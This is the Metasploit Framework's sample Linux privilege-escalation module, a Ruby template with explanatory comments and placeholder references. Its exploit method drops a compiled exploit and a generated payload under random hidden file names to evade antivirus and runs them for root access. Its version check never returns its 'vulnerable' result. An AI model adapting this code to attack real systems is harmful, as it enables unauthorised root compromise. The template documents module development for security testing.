##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes: has_gcc?
  include Msf::Post::Linux::System
  # includes: kernel_release
  include Msf::Post::Linux::Kernel
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
  include Msf::Post::File
  # includes generate_payload_exe
  include Msf::Exploit::EXE
  # includes register_files_for_cleanup
  include Msf::Exploit::FileDropper
  # includes: COMPILE option, live_compile?, upload_and_compile
  # strip_comments
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        # The Name should be just like the line of a Git commit - software name,
        # vuln type, class. Preferably apply
        # some search optimization so people can actually find the module.
        # We encourage consistency between module name and file name.
        'Name' => 'Sample Linux Priv Esc',
        'Description' => %q{
          This exploit module illustrates how a vulnerability could be exploited
          in an linux command for priv esc.
        },
        'License' => MSF_LICENSE,
        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
        # Add reference to additional authors, like those creating original proof of concepts or
        # reference materials.
        # It is also common to comment in who did what (PoC vs metasploit module, etc)
        'Author' => [
          'h00die <mike@stcyrsecurity.com>', # msf module
          'researcher' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but the exploit
        # may only apply to say ARCH_PPC or something else, where a specific arch is required.
        # A full list is available in lib/msf/core/payload/uuid.rb
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        # What types of sessions we can use this module in conjunction with.  Most modules use libraries
        # which work on shell and meterpreter, but there may be a nuance between one of them, so best to
        # test both to ensure compatibility.
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
        # since privilege escalation modules typically result in elevated privileges, this is
        # generally set to true
        'Privileged' => true,
        'References' => [
          [ 'OSVDB', '12345' ],
          [ 'EDB', '12345' ],
          [ 'URL', 'http://www.example.com'],
          [ 'CVE', '1978-1234']
        ],
        'DisclosureDate' => '2023-11-29',
        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
        # It's generally easiest just to put the default at the beginning of the list and skip this
        # entirely.
        'DefaultTarget' => 0,
        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    # force exploit is used to bypass the check command results
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    # Check the kernel version to see if its in a vulnerable range
    release = kernel_release
    if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
       Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
      return CheckCode::Safe("Kernel version #{release} is not vulnerable")
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"

    # Check the app is installed and the version, debian based example
    package = cmd_exec('dpkg -l example | grep \'^ii\'')
    if package&.include?('1:2015.3.14AR.1-1build1')
      CheckCode::Appears("Vulnerable app version #{package} detected")
    end
    CheckCode::Safe("app #{package} is not vulnerable")
  end

  #
  # The exploit method drops a payload file to the system, then either compiles and runs
  # or just runs the exploit on the system.
  #
  def exploit
    # Check if we're already root
    if !datastore['ForceExploit'] && is_root?
      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable, writing to a random name so AV doesn't have too easy a job
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
      rm_f "#{executable_path}.c"
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('example')
    end

    # register the file for automatic cleanup
    register_files_for_cleanup(executable_path)

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
    # register payload for automatic cleanup
    register_files_for_cleanup(payload_path)

    # Launch exploit with a timeout.  We also have a vprint_status so if the user wants all the
    # output from the exploit being run, they can optionally see it
    timeout = 30
    print_status 'Launching exploit...'
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }
  end
end
